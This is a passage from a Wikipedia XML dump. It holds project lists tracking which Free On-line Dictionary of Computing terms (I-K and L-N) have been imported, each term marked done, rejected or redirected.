Jacquard, Joseph-Marie&lt;br&gt;
Jacquard loom&lt;br&gt;
JAD&lt;br&gt;
JADE&lt;br&gt;
Jade&lt;br&gt;
jadeTeX&lt;br&gt;
JAffer's Canonical ALgebra&lt;br&gt;
jaggies&lt;br&gt;
JaM&lt;br&gt;
jam&lt;br&gt;
James Clark&lt;br&gt;
James' DSSSL Engine&lt;br&gt;
James Gosling&lt;br&gt;
James H. Clark&lt;br&gt;
JANET&lt;br&gt;
JANET IP Service&lt;br&gt;
Janus&lt;br&gt;
japh '''DONE''' (renamed Just another Perl hacker)&lt;br&gt;
jar&lt;br&gt;
Jargon File&lt;br&gt;
Java&lt;br&gt;
Java 2&lt;br&gt;
Java 2 Platform&lt;br&gt;
Java 2 Platform, Enterprise Edition&lt;br&gt;
Java 2 Platform, Micro Edition&lt;br&gt;
Java 2 Platform, Standard Edition&lt;br&gt;
Java 2 SDK&lt;br&gt;
Java 2 Software Development Kit&lt;br&gt;
Java archive&lt;br&gt;
JavaBeans&lt;br&gt;
Java Database Connectivity&lt;br&gt;
Java Development Kit&lt;br&gt;
Java Message Service&lt;br&gt;
Java Native Interface&lt;br&gt;
Java Open Language Toolkit&lt;br&gt;
Java Remote Method Protocol&lt;br&gt;
Java Run-Time Environment&lt;br&gt;
JavaScript&lt;br&gt;
Java servelet&lt;br&gt;
JavaServer Pages&lt;br&gt;
Java servlet&lt;br&gt;
Java Servlet Development Kit&lt;br&gt;
Java Virtual Machine&lt;br&gt;
Java VM&lt;br&gt;
JAZ&lt;br&gt;
Jaz&lt;br&gt;
Jaz Drive&lt;br&gt;
JAZELLE&lt;br&gt;
JBIG&lt;br&gt;
JBOD&lt;br&gt;
JBOPS&lt;br&gt;
jc&lt;br&gt;
JCL&lt;br&gt;
JCS-13&lt;br&gt;
JDBC&lt;br&gt;
JDK&lt;br&gt;
JEAN&lt;br&gt;
Jean E. Sammet&lt;br&gt;
JEDR&lt;br&gt;
Jef Raskin&lt;br&gt;
Jerry Sussman&lt;br&gt;
JES&lt;br&gt;
JES2&lt;br&gt;
JES3&lt;br&gt;
JFCL&lt;br&gt;
JFET&lt;br&gt;
JFIF&lt;br&gt;
jiffy&lt;br&gt;
Jim Clark&lt;br&gt;
Jini&lt;br&gt;
JIPS&lt;br&gt;
JIT&lt;br&gt;
jitter&lt;br&gt;
JK flip-flop&lt;br&gt;
jm&lt;br&gt;
JMHO&lt;br&gt;
JMS&lt;br&gt;
JNI&lt;br&gt;
jo&lt;br&gt;
job&lt;br&gt;
Job Control Language&lt;br&gt;
Job Entry System&lt;br&gt;
Jobs&lt;br&gt;
job security&lt;br&gt;
jock&lt;br&gt;
joe&lt;br&gt;
joe code&lt;br&gt;
John Gilmore&lt;br&gt;
John McCarthy&lt;br&gt;
John Ousterhout&lt;br&gt;
John von Neumann&lt;br&gt;
join&lt;br&gt;
Joint Academic NETwork&lt;br&gt;
Joint Bi-level Image Experts Group&lt;br&gt;
Joint Photographic Experts Group&lt;br&gt;
Joint Technical Committee&lt;br&gt;
Joint Test Action Group&lt;br&gt;
jolix&lt;br&gt;
JOLT&lt;br&gt;
Jon Postel&lt;br&gt;
JOOP&lt;br&gt;
Joseph-Marie Jacquard&lt;br&gt;
JOSS&lt;br&gt;
Jossle&lt;br&gt;
journalling&lt;br&gt;
jove&lt;br&gt;
JOVIAL&lt;br&gt;
Joyce&lt;br&gt;
joystick&lt;br&gt;
Joy, William&lt;br&gt;
jp&lt;br&gt;
JPEG&lt;br&gt;
JPEG File Interchange Format&lt;br&gt;
jpg&lt;br&gt;
JPL&lt;br&gt;
JPLDIS&lt;br&gt;
J. Presper Eckert&lt;br&gt;
J. Random&lt;br&gt;
J. Random Hacker&lt;br&gt;
JRE&lt;br&gt;
JRL&lt;br&gt;
JRMP&lt;br&gt;
JRN&lt;br&gt;
JRST&lt;br&gt;
JS&lt;br&gt;
JSA&lt;br&gt;
JSDK&lt;br&gt;
JSP&lt;br&gt;
JTAG'''DONE'''&lt;br&gt;
JTB&lt;br&gt;
JTC&lt;br&gt;
JTC1/SC24&lt;br&gt;
JTS&lt;br&gt;
juggling eggs&lt;br&gt;
Jughead&lt;br&gt;
jukebox&lt;br&gt;
jump&lt;br&gt;
jumper&lt;br&gt;
jump off into never-never land&lt;br&gt;
jump trace buffer&lt;br&gt;
Junction FET&lt;br&gt;
Junction Field Effect Transistor&lt;br&gt;
Juno&lt;br&gt;
jupiter&lt;br&gt;
Just a Bunch Of Disks&lt;br&gt;
just-in-time&lt;br&gt;
JVM&lt;br&gt;
Jym&lt;br&gt;
K&lt;br&gt;
K5&lt;br&gt;
K56flex&lt;br&gt;
K6 '''DONE'''&lt;br&gt;
K7 '''DONE'''&lt;br&gt;
KA9Q '''DONE'''&lt;br&gt;
KADS '''DONE'''&lt;br&gt;
kahuna '''NO''' not in FOLDOC&lt;br&gt;
Kaleidoscope&lt;br&gt;
Kali&lt;br&gt;
kamikaze packet '''DONE''' redirect&lt;br&gt;
Kamin's interpreters&lt;br&gt;
kana&lt;br&gt;
kangaroo code '''DONE'''&lt;br&gt;
kanji&lt;br&gt;
KAOS '''DONE'''&lt;br&gt;
KAP&lt;br&gt;
Karel&lt;br&gt;
katakana&lt;br&gt;
Kb&lt;br&gt;
KBMS '''No''' too little info&lt;br&gt;
kbps&lt;br&gt;
KBS&lt;br&gt;
KCL&lt;br&gt;
ke&lt;br&gt;
KEE&lt;br&gt;
Keldysh Institute of Applied Mathematics&lt;br&gt;
ken&lt;br&gt;
Ken Thompson&lt;br&gt;
Kerberos&lt;br&gt;
Kermit&lt;br&gt;
kernal&lt;br&gt;
kernel (computers)&lt;br&gt;
Kernel Parlog&lt;br&gt;
Kernel User Interface Package '''DONE''' &lt;br&gt;
kerning&lt;br&gt;
Kevo&lt;br&gt;
key&lt;br&gt;
keyboard&lt;br&gt;
Keyboard Commando '''DONE''' &lt;br&gt;
keyboard plaque '''DONE''' &lt;br&gt;
Keyboard Send Receive '''DONE''' &lt;br&gt;
Keyed-Hashing Message Authentication '''DONE''' &lt;br&gt;
Keyed Sequential Data Set '''DONE''' &lt;br&gt;
key escrow '''DONE''' &lt;br&gt;
key field '''DONE''' &lt;br&gt;
key frame '''DONE''' &lt;br&gt;
KeyNote Software '''NO''' a company, little info&lt;br&gt;
keypal '''DONE''' &lt;br&gt;
KeySpell '''DONE''' &lt;br&gt;
keyword '''DONE''' &lt;br&gt;
KFX '''DONE''' &lt;br&gt;
kg '''NO''' country code&lt;br&gt;
kgbvax '''DONE''' redirect&lt;br&gt;
kh '''NO''' country code&lt;br&gt;
Khornerstone&lt;br&gt;
ki '''NO''' country code&lt;br&gt;
KIBO '''DONE''' &lt;br&gt;
kiboze '''DONE''' &lt;br&gt;
kick&lt;br&gt;
Kid '''DONE''' &lt;br&gt;
KIDASA Software '''NO''' limited company info&lt;br&gt;
killer micro '''DONE''' &lt;br&gt;
killer poke '''DONE''' &lt;br&gt;
kill file '''DONE''' &lt;br&gt;
kilo- REDIRECT prefix&lt;br&gt;
kilobaud REDIRECT baud&lt;br&gt;
kilobit REDIRECT bit&lt;br&gt;
kilobyte&lt;br&gt;
kiloflops REDIRECT FLOPS&lt;br&gt;
kiosk '''DONE''' &lt;br&gt;
KIPS '''DONE''' &lt;br&gt;
KIS REDIRECT Knowbot Information Service&lt;br&gt;
KISS '''DONE''' &lt;br&gt;
KISS Principle '''DONE''' &lt;br&gt;
kit '''DONE''' &lt;br&gt;
KL0 '''DONE''' &lt;br&gt;
KL1 '''DONE''' &lt;br&gt;
Klamath '''DONE''' &lt;br&gt;
KLB REDIRECT [[Known Lazy Bastard]]&lt;br&gt;
Kleene closure REDIRECT Kleene star&lt;br&gt;
Kleene star&lt;br&gt;
Kleene, Stephen Cole '''DONE''' &lt;br&gt;
Klerer-May System '''DONE''' &lt;br&gt;
KLOC '''DONE''' &lt;br&gt;
klone REDIRECT clone&lt;br&gt;
KL-ONE '''DONE''' &lt;br&gt;
kludge&lt;br&gt;
kluge&lt;br&gt;
kluge around '''DONE''' &lt;br&gt;
km '''NO''' country code&lt;br&gt;
KMODEL '''DONE''' &lt;br&gt;
KMS REDIRECT Knowledge Management System&lt;br&gt;
kn '''NO''' country code&lt;br&gt;
knapsack problem -- '''DONE'''&lt;br&gt;
Knights of the Lambda-Calculus '''DONE''' &lt;br&gt;
knowbot '''DONE''' &lt;br&gt;
Knowbot Information Service '''DONE'''&lt;br&gt;
knowledge&lt;br&gt;
Knowledge Analysis and Design System&lt;br&gt;
knowledge base&lt;br&gt;
knowledge-based system&lt;br&gt;
knowledge level&lt;br&gt;
Knowledge Management System&lt;br&gt;
Knowledge Query and Manipulation Language&lt;br&gt;
knowledge representation&lt;br&gt;
Knowledge Sharing Effort&lt;br&gt;
Knowledge Systems Laboratory&lt;br&gt;
[[Known Lazy Bastard]] '''DONE'''&lt;br&gt;
Knuth '''DONE''' &lt;br&gt;
Kodak '''NO''' insufficient company info.&lt;br&gt;
Kohonen '''NO''' insufficient info for redirect.&lt;br&gt;
KOMPILER '''DONE''' &lt;br&gt;
Konrad Zuse&lt;br&gt;
Korn Shell '''DONE''' &lt;br&gt;
kp '''NO''' country code&lt;br&gt;
KQML REDIRECT Knowledge Query and Manipulation Language&lt;br&gt;
KR REDIRECT knowledge representation&lt;br&gt;
kr '''NO''' country code&lt;br&gt;
K and R '''DONE''' &lt;br&gt;
KRC '''DONE''' &lt;br&gt;
K and R C '''DONE''' &lt;br&gt;
kremvax '''DONE''' &lt;br&gt;
KRL '''DONE''' &lt;br&gt;
KRS '''DONE''' &lt;br&gt;
KRYPTON '''DONE''' &lt;br&gt;
ksh REDIRECT Korn Shell&lt;br&gt;
KSL REDIRECT Knowledge Systems Laboratory&lt;br&gt;
KSR '''DONE''' &lt;br&gt;
KTH REDIRECT Kungliga Tekniska Hogskolan&lt;br&gt;
KUIP REDIRECT Kernel User Interface Package&lt;br&gt;
Kungliga Tekniska Hogskolan&lt;br&gt;
KUTGW '''DONE''' &lt;br&gt;
Kvatro Telecom AS '''DONE''' &lt;br&gt;
Kvikkalkul&lt;br&gt;
kw '''NO''' country code&lt;br&gt;
ky '''NO''' country code&lt;br&gt;
Kyoto Common Lisp '''DONE''' &lt;br&gt;
kyrka REDIRECT feature key&lt;br&gt;
kz '''NO''' country code&lt;br&gt;

:''See also :'' [[Free On-line Dictionary of Computing]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Free On-line Dictionary of Computing/L - N</title>
    <id>11331</id>
    <revision>
      <id>28113143</id>
      <timestamp>2005-11-12T13:14:20Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <text xml:space="preserve">[[Free_On-line_Dictionary_of_Computing/symbols - B|symbols - B]] -- [[Free_On-line_Dictionary_of_Computing/C - D|C - D]] -- [[Free_On-line_Dictionary_of_Computing/E - H|E - H]] -- [[Free_On-line_Dictionary_of_Computing/I - K|I - K]] -- '''L - N''' -- [[Free_On-line_Dictionary_of_Computing/O - Q|O - Q]] -- [[Free_On-line_Dictionary_of_Computing/R - S|R - S]] -- [[Free_On-line_Dictionary_of_Computing/T - W|T - W]] -- [[Free_On-line_Dictionary_of_Computing/X - Z|X - Z]] -- [[Free_On-line_Dictionary_of_Computing/Status|FOLDOC Status Page]]

L0&lt;br&gt;
l10n&lt;br&gt;
L1 cache&lt;br&gt;
L2 cache&lt;br&gt;
L2TP&lt;br&gt;
L6&lt;br&gt;
la&lt;br&gt;
label edge router&lt;br&gt;
label switched path&lt;br&gt;
label switching&lt;br&gt;
Label Switching Router&lt;br&gt;
Lab for Computer Science&lt;br&gt;
Laboratory INstrument Computer&lt;br&gt;
Laboratory Virtual Instrument Engineering Workbench&lt;br&gt;
LaborNet&lt;br&gt;
Labtech Notebook&lt;br&gt;
LabVIEW&lt;br&gt;
Lace&lt;br&gt;
lace card&lt;br&gt;
LADY&lt;br&gt;
lag&lt;br&gt;
Lakota&lt;br&gt;
LALR&lt;br&gt;
lalr.ss&lt;br&gt;
Lambada-Calculus&lt;br&gt;
LAMBDA&lt;br&gt;
lambda abstraction&lt;br&gt;
lambda-calculus&lt;br&gt; '''DONE''' - merged into lambda calculus
lambda expression&lt;br&gt;
lambda lifting&lt;br&gt;
LambdaMOO&lt;br&gt;
Lambda-Prolog&lt;br&gt;
lamer&lt;br&gt;
LAMINA&lt;br&gt;
lamp-post error&lt;br&gt;
LAN&lt;br&gt;
LANCE&lt;br&gt;
language&lt;br&gt;
language-based editor&lt;br&gt;
Language for Communicating Systems&lt;br&gt;
Language H&lt;br&gt;
language lawyer&lt;br&gt;
Language Of Temporal Ordering Specification&lt;br&gt;
Language Sensitive Editor&lt;br&gt;
language-sensitive editor&lt;br&gt;
languages of choice&lt;br&gt;
Laning and Zierler&lt;br&gt;
LANL&lt;br&gt;
Lan Manager&lt;br&gt;
LANtastic&lt;br&gt;
LAP&lt;br&gt;
LAP4&lt;br&gt;
LAPB&lt;br&gt;
LAPD&lt;br&gt;
LAPM&lt;br&gt;
LAPSE&lt;br&gt;
laptop computer&lt;br&gt;
LaQuey&lt;br&gt;
Larch&lt;br&gt;
Larch/C++&lt;br&gt;
LARCH/CLU&lt;br&gt;
Large Installation Systems Administration&lt;br&gt;
Larry Wall&lt;br&gt;
LART&lt;br&gt;
larval stage&lt;br&gt;
lase&lt;br&gt;
laser printer&lt;br&gt;
Lasherism&lt;br&gt;
last call optimisation&lt;br&gt;
last-in first-out&lt;br&gt;
LAT&lt;br&gt;
latch&lt;br&gt;
latency&lt;br&gt;
LaTeX&lt;br&gt;
Latin 1&lt;br&gt;
lattice&lt;br&gt;
LAU&lt;br&gt;
laundromat&lt;br&gt;
LAURE&lt;br&gt;
LAVA&lt;br&gt;
law&lt;br&gt;
LAWN&lt;br&gt;
Lawrence Livermore Labs&lt;br&gt;
Lawrence Livermore National Laboratory&lt;br&gt;
LAX&lt;br&gt;
layer&lt;br&gt;
Layer Two Tunneling Protocol&lt;br&gt;
laziness&lt;br&gt;
lazy evaluation&lt;br&gt;
lazy list&lt;br&gt;
Lazy SML&lt;br&gt;
lazy sml2c&lt;br&gt;
Lazy Standard ML&lt;br&gt;
lb&lt;br&gt;
LBA&lt;br&gt;
LBE&lt;br&gt;
LBL&lt;br&gt;
lc&lt;br&gt;
LCC&lt;br&gt;
lcc&lt;br&gt;
LCD&lt;br&gt;
LCF&lt;br&gt;
LCL&lt;br&gt;
lclint&lt;br&gt;
LCP&lt;br&gt;
LCS&lt;br&gt;
ld&lt;br&gt;
LDAP REDIRECT Lightweight Directory Access Protocol&lt;br&gt;
LDB&lt;br&gt;
LDL&lt;br&gt;
LDL1&lt;br&gt;
LDP&lt;br&gt;
LDT&lt;br&gt;
LE/1&lt;br&gt;
leading&lt;br&gt;
LEAF&lt;br&gt;
leaf&lt;br&gt;
Leaf Distribution Limited&lt;br&gt;
leaf site&lt;br&gt;
League for Programming Freedom&lt;br&gt;
leak&lt;br&gt;
leaky heap&lt;br&gt;
Lean&lt;br&gt;
LEAP&lt;br&gt;
leapfrog attack&lt;br&gt;
learning curve&lt;br&gt;
leased line&lt;br&gt;
least fixed point&lt;br&gt;
least recently used&lt;br&gt;
least significant bit&lt;br&gt;
least upper bound&lt;br&gt;
leaves&lt;br&gt;
LEC&lt;br&gt;
LECOM&lt;br&gt;
LED&lt;br&gt;
LEDA&lt;br&gt;
Leda&lt;br&gt;
LED page printer&lt;br&gt;
LED printer&lt;br&gt;
leet&lt;br&gt;
left arrow&lt;br&gt;
left brace&lt;br&gt;
left bracket&lt;br&gt;
left outer join&lt;br&gt;
left parenthesis&lt;br&gt;
LeFun&lt;br&gt;
legacy code&lt;br&gt;
legacy software&lt;br&gt;
legacy system -- '''DONE'''&lt;br&gt;
legal&lt;br&gt;
legalese&lt;br&gt;
LEGOL&lt;br&gt;
Le-Lisp&lt;br&gt;
lemma&lt;br&gt;
Lempel-Ziv compression&lt;br&gt;
Lempel-Ziv Welch compression&lt;br&gt;
Lenat, Doug&lt;br&gt;
lenient evaluation&lt;br&gt;
LEO&lt;br&gt;
Leo&lt;br&gt;
LER&lt;br&gt;
LERP&lt;br&gt;
less than&lt;br&gt;
LessTif&lt;br&gt;
let floating&lt;br&gt;
letterbomb&lt;br&gt;
level 1 cache&lt;br&gt;
level 2 cache&lt;br&gt;
LEVEL5 OBJECT&lt;br&gt;
level one cache&lt;br&gt;
level-sensitive scan design&lt;br&gt;
level two cache&lt;br&gt;
Lex&lt;br&gt;
lexeme&lt;br&gt;
lexer&lt;br&gt;
lexical analyser&lt;br&gt;
lexical analysis&lt;br&gt;
lexical scope&lt;br&gt;
lexical scoping&lt;br&gt;
lexiphage&lt;br&gt;
LF&lt;br&gt;
LG&lt;br&gt;
LGDF&lt;br&gt;
LGEN&lt;br&gt;
LGN&lt;br&gt;
lha&lt;br&gt;
LHARC&lt;br&gt;
lhs&lt;br&gt;
lhz&lt;br&gt;
li&lt;br&gt;
Liana&lt;br&gt;
Liar&lt;br&gt;
liar paradox&lt;br&gt;
libg++&lt;br&gt;
library&lt;br&gt;
Library of Efficient Data types and Algorithms&lt;br&gt;
librery&lt;br&gt;
LIDO&lt;br&gt;
LiE&lt;br&gt;
LIF&lt;br&gt;
LIFE&lt;br&gt;
Life&lt;br&gt;
life&lt;br&gt;
life-cycle&lt;br&gt;
Life is hard&lt;br&gt;
LIFIA&lt;br&gt;
LIFO&lt;br&gt;
lifted domain&lt;br&gt;
LIGHT&lt;br&gt;
light client&lt;br&gt;
light-emitting diode&lt;br&gt;
light-emitting resistor&lt;br&gt;
light pipe&lt;br&gt;
light-weight&lt;br&gt;
Lightweight Directory Access Protocol '''DONE'''&lt;br&gt;
light-weight process&lt;br&gt;
like kicking dead whales down the beach&lt;br&gt;
like nailing jelly to a tree&lt;br&gt;
like this&lt;br&gt;
Lila&lt;br&gt;
Lilith&lt;br&gt;
LILLIAC IV&lt;br&gt;
lilo&lt;br&gt;
Lily&lt;br&gt;
LIMDEP&lt;br&gt;
LIM EMS&lt;br&gt;
LIMP&lt;br&gt;
[http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?Laboratory+Instrument+Computer Linc] (Laboratory Instrument Computer)&lt;br&gt;
Lincoln Reckoner&lt;br&gt;
LINCtape&lt;br&gt;
Linda&lt;br&gt;
LindaLISP&lt;br&gt;
line&lt;br&gt;
line 666&lt;br&gt;
linear address space&lt;br&gt;
linear argument&lt;br&gt;
linear assignment&lt;br&gt;
linear function&lt;br&gt;
Linear Graph Notation&lt;br&gt;
linear logic&lt;br&gt;
linear map&lt;br&gt;
linear programming&lt;br&gt;
linear space&lt;br&gt;
linear sweep&lt;br&gt;
linear transformation&lt;br&gt;
linear type&lt;br&gt;
line conditioning&lt;br&gt;
line eater&lt;br&gt;
line editor&lt;br&gt;
line feed&lt;br&gt;
line noise&lt;br&gt;
line printer&lt;br&gt;
line probing&lt;br&gt;
lines of code&lt;br&gt;
lines per minute&lt;br&gt;
line starve&lt;br&gt;
Lingo&lt;br&gt;
LINGOL&lt;br&gt;
link&lt;br&gt;
Link Access Procedure on the D channel&lt;br&gt;
Link Access Protocol Balanced&lt;br&gt;
Link Access Protocol for Modems&lt;br&gt;
Link Control Protocol&lt;br&gt;
link-dead&lt;br&gt;
linked list&lt;br&gt;
linker '''NO IMPORT'''&lt;br&gt;
link farm&lt;br&gt;
link rot&lt;br&gt;
links&lt;br&gt;
Link State Routing Protocol&lt;br&gt;
LINPACK&lt;br&gt;
lint&lt;br&gt;
Linux&lt;br&gt;
Linux Documentation Project&lt;br&gt;
Linux Network Administrators' Guide&lt;br&gt;
lion food&lt;br&gt;
Lions Book&lt;br&gt;
LIPL&lt;br&gt;
liquid crystal display&lt;br&gt;
LIS&lt;br&gt;
LISA&lt;br&gt;
Liskov substitution principle&lt;br&gt;
Lisp&lt;br&gt;
*LISP&lt;br&gt;
LISP 1&lt;br&gt;
LISP 1.5&lt;br&gt;
LISP 2&lt;br&gt;
LISP70&lt;br&gt;
LISP A&lt;br&gt;
LISP Extended Algebraic Facility&lt;br&gt;
Lispkit&lt;br&gt;
Lispkit Lisp&lt;br&gt;
Lisp-Linda&lt;br&gt;
Lisp Machine&lt;br&gt;
LISP Machine LISP&lt;br&gt;
Lisp Object-Oriented Programming System&lt;br&gt;
LISP, Objects, and Symbolic Programming&lt;br&gt;
Lisptalk&lt;br&gt;
LispView&lt;br&gt;
list&lt;br&gt;
list comprehension&lt;br&gt;
List Enhanced&lt;br&gt;
listless&lt;br&gt;
Listproc&lt;br&gt;
lists&lt;br&gt;
Listserv&lt;br&gt;
Liszt&lt;br&gt;
lite&lt;br&gt;
literal&lt;br&gt;
literate programming&lt;br&gt;
literature&lt;br&gt;
LITHE&lt;br&gt;
lithium lick&lt;br&gt;
LitProg&lt;br&gt;
LITTLE&lt;br&gt;
little-endian&lt;br&gt;
Little Smalltalk&lt;br&gt;
live data&lt;br&gt;
Live Free Or Die!&lt;br&gt;
livelock&lt;br&gt;
LiveScript&lt;br&gt;
liveware&lt;br&gt;
lk&lt;br&gt;
LL&lt;br&gt;
LLC&lt;br&gt;
LLGen&lt;br&gt;
LLM3&lt;br&gt;
LLNL&lt;br&gt;
LLP&lt;br&gt;
LM3&lt;br&gt;
LMAO&lt;br&gt;
LML&lt;br&gt;
LM-Prolog&lt;br&gt;
LMTP&lt;br&gt;
LNF&lt;br&gt;
LO&lt;br&gt;
L&amp;amp&lt;br&gt;O&lt;br&gt;
load balancing&lt;br&gt;
lobotomy&lt;br&gt;
LOC&lt;br&gt;
local area network&lt;br&gt;
Local Area Transport&lt;br&gt;
local bus&lt;br&gt;
locale&lt;br&gt;
local echo&lt;br&gt;
localisation&lt;br&gt;
localised&lt;br&gt;
locality&lt;br&gt;
local loop&lt;br&gt;
local loopback addresses&lt;br&gt;
locals&lt;br&gt;
LocalTalk&lt;br&gt;
location&lt;br&gt;
locked and loaded&lt;br&gt;
locked up&lt;br&gt;
lock-in&lt;br&gt;
Locus&lt;br&gt;
Loebner Prize&lt;br&gt;
{log}&lt;br&gt;
logarithmus dualis&lt;br&gt;
LogC&lt;br&gt;
logic&lt;br&gt;
logical&lt;br&gt;
logical address&lt;br&gt;
Logical Block Addressing&lt;br&gt;
logical complement&lt;br&gt;
Logical Link Control -- '''DONE'''&lt;br&gt;
logical relation&lt;br&gt;
logical shift&lt;br&gt;
logical shift left&lt;br&gt;
logical shift right&lt;br&gt;
Logical Unit&lt;br&gt;
Logical Unit 6.2&lt;br&gt;
Logical Unit Number&lt;br&gt;
logic bomb&lt;br&gt;
Logic Design Language&lt;br&gt;
logic emulator&lt;br&gt;
Logic for Computable Functions&lt;br&gt;
logic gate&lt;br&gt;
logic programming&lt;br&gt;
Logic Replacement Technology&lt;br&gt;
logic variable&lt;br&gt;
LOGIN&lt;br&gt;
login&lt;br&gt;
LOGISCOPE&lt;br&gt;
Loglan&lt;br&gt;
Loglan'82&lt;br&gt;
Loglan-88&lt;br&gt;
LOGLISP&lt;br&gt;
LOGO&lt;br&gt;
LOGOL&lt;br&gt;
logon&lt;br&gt;
Lojban&lt;br&gt;
LOL&lt;br&gt;
LOLITA&lt;br&gt;
Lolli&lt;br&gt;
LOM&lt;br&gt;
longitudinal parity&lt;br&gt;
Longitudinal Redundancy Check&lt;br&gt;
LOOK&lt;br&gt;
look and feel&lt;br&gt;
Looking Glass&lt;br&gt;
LOOKS&lt;br&gt;
loop&lt;br&gt;
loop combination&lt;br&gt;
loop fusion&lt;br&gt;
LOOPN&lt;br&gt;
LOOPS&lt;br&gt;
loop through&lt;br&gt;
loose bytes&lt;br&gt;
LOP&lt;br&gt;
lord high fixer&lt;br&gt;
Lore&lt;br&gt;
Lorem ipsum&lt;br&gt;
Lorenz attractor&lt;br&gt;
lose&lt;br&gt;
loser&lt;br&gt;
losing&lt;br&gt;
loss&lt;br&gt;
lossage&lt;br&gt;
lossless&lt;br&gt;
lossy&lt;br&gt;
lost in the noise&lt;br&gt;
lost in the underflow&lt;br&gt;
LOTIS&lt;br&gt;
LOTOS&lt;br&gt;
lots of MIPS but no I/O&lt;br&gt;
Lotus 1-2-3&lt;br&gt;
[[Lotus Software|Lotus Development Corporation]] '''DONE''' (Lotus Software)&lt;br&gt;
Lotus Notes&lt;br&gt;
Lout&lt;br&gt;
love&lt;br&gt;
low-bandwidth&lt;br&gt;
low earth orbit&lt;br&gt;
Lower Layer Protocol&lt;br&gt;
lower set&lt;br&gt;
Low Insertion Force&lt;br&gt;
LOWL&lt;br&gt;
low-level language&lt;br&gt;
low pass filter&lt;br&gt;
Low Voltage Differential&lt;br&gt;
LPAC&lt;br&gt;
LPC&lt;br&gt;
LPF&lt;br&gt;
LPG&lt;br&gt;
LPI&lt;br&gt;
LPL&lt;br&gt;
lpm&lt;br&gt;
LP MUD&lt;br&gt;
lpr&lt;br&gt;
LPS&lt;br&gt;
lp spooler&lt;br&gt;
LPT&lt;br&gt;
lr&lt;br&gt;
LRC&lt;br&gt;
LRLTRAN&lt;br&gt;
LRU&lt;br&gt;
ls&lt;br&gt;
LSA&lt;br&gt;
LSB&lt;br&gt;
LSE&lt;br&gt;
LSL&lt;br&gt;
LSML&lt;br&gt;
L-Soft&lt;br&gt;
LSP&lt;br&gt;
LSR&lt;br&gt;
LSSD&lt;br&gt;
LSYD&lt;br&gt;
lt&lt;br&gt;
LT-2&lt;br&gt;
LTL&lt;br&gt;
LTR&lt;br&gt;
LTR3&lt;br&gt;
lu&lt;br&gt;
LU6.2&lt;br&gt;
lub&lt;br&gt;
Lubarsky's Law of Cybernetic Entomology&lt;br&gt;
Lucent Technologies&lt;br&gt;
LUCID&lt;br&gt;
Lucid Emacs&lt;br&gt;
Lucinda&lt;br&gt;
Lucy&lt;br&gt;
LUG&lt;br&gt;
luminance&lt;br&gt;
lump uncurrying&lt;br&gt;
LUN&lt;br&gt;
[[lunatic fringe]]&lt;br&gt;
Lund Simula&lt;br&gt;
Lund Software House AB&lt;br&gt;
lurk&lt;br&gt;
lurker&lt;br&gt;
lurking&lt;br&gt;
luser&lt;br&gt;
Luser Attitude Re-adjustment Tool&lt;br&gt;
LUSTRE&lt;br&gt;
lv&lt;br&gt;
lvalue&lt;br&gt;
LVD&lt;br&gt;
LWP&lt;br&gt;
ly&lt;br&gt;
LYaPAS&lt;br&gt;
Lycos&lt;br&gt;
lynix&lt;br&gt;
LYNX&lt;br&gt;
Lynx&lt;br&gt;
LynxOS&lt;br&gt;
Lynx Real-Time Systems&lt;br&gt;
LYRIC&lt;br&gt;
LZ77 compression&lt;br&gt;
LZ78 compression&lt;br&gt;
LZ compression&lt;br&gt;
lzexe&lt;br&gt;
LZH compression&lt;br&gt;
LZW compression&lt;br&gt;
M&lt;br&gt;
m2&lt;br&gt;
M2toM3&lt;br&gt;
M3&lt;br&gt;
m4&lt;br&gt;
M5&lt;br&gt;
ma&lt;br&gt;
MAC&lt;br&gt;
Mac&lt;br&gt;
Mac-1&lt;br&gt;
MAC-360&lt;br&gt;
MAC address&lt;br&gt;
MACAnalyst&lt;br&gt;
Macaulay&lt;br&gt;
MacBinary&lt;br&gt;
MACDesigner&lt;br&gt;
macdink&lt;br&gt;
MACE&lt;br&gt;
Mach '''DONE''' as [[Mach kernel]]&lt;br&gt;
[[Machiavelli]]&lt;br&gt;
machinable&lt;br&gt;
[[machine]]&lt;br&gt;
[[machine code]]&lt;br&gt;
machine cycle&lt;br&gt;
machine language&lt;br&gt;
machine learning&lt;br&gt;
Mach Interface Generator&lt;br&gt;
machoflops&lt;br&gt;
Mac II&lt;br&gt;
Mac IIcx&lt;br&gt;
[[Apple Macintosh|Macintosh]]&lt;br&gt;
Macintosh Common Lisp&lt;br&gt;
Macintosh file system&lt;br&gt;
Macintosh II&lt;br&gt;
Macintosh IIcx&lt;br&gt;
Macintosh Operating System&lt;br&gt;
Macintosh user interface&lt;br&gt;
Macintoy&lt;br&gt;
Macintrash&lt;br&gt;
MACL&lt;br&gt;
MacLisp&lt;br&gt;
MacMinix&lt;br&gt;
[[Mac OS]]&lt;br&gt;
Mac Playmate&lt;br&gt;
MacPPP&lt;br&gt;
MACRO&lt;br&gt;
macro&lt;br&gt;
macro-&lt;br&gt;
macrology&lt;br&gt;
Macromedia&lt;br&gt;
Macro SAP&lt;br&gt;
macrotape&lt;br&gt;
MACSYMA&lt;br&gt;
MacTCP&lt;br&gt;
MacX&lt;br&gt;
MAD&lt;br&gt;
Mad/1&lt;br&gt;
Madaline&lt;br&gt;
MADCAP&lt;br&gt;
MADTRAN&lt;br&gt;
maggotbox&lt;br&gt;
MAGIC&lt;br&gt;
[[Magic (software)|magic]]&lt;br&gt;
magic bullet&lt;br&gt;
magic cookie&lt;br&gt;
magic number&lt;br&gt;
Magic Paper&lt;br&gt;
magic smoke&lt;br&gt;
Magic Switch Story&lt;br&gt;
Magma&lt;br&gt;
Magma2&lt;br&gt;
MagmaLISP&lt;br&gt;
magnetic disk&lt;br&gt;
Magnetic Ink Character Recognition&lt;br&gt;
magnetic tape&lt;br&gt;
magnetic tape drive&lt;br&gt;
magneto-optical disk&lt;br&gt;
MAGNUM&lt;br&gt;
Magritte&lt;br&gt;
mail&lt;br&gt;
Mail Application Programming Interface&lt;br&gt;
mail bomb&lt;br&gt;
mailbox&lt;br&gt;
mail bridge&lt;br&gt;
Mail Exchange Record&lt;br&gt;
mail exploder&lt;br&gt;
mail filter&lt;br&gt;
mail gateway&lt;br&gt;
mail hub&lt;br&gt;
mailing list&lt;br&gt;
mail merge&lt;br&gt;
mail path&lt;br&gt;
.mailrc&lt;br&gt;
mail server&lt;br&gt;
mail user agent&lt;br&gt;
Mail Users' Shell&lt;br&gt;
MAINBOL&lt;br&gt;
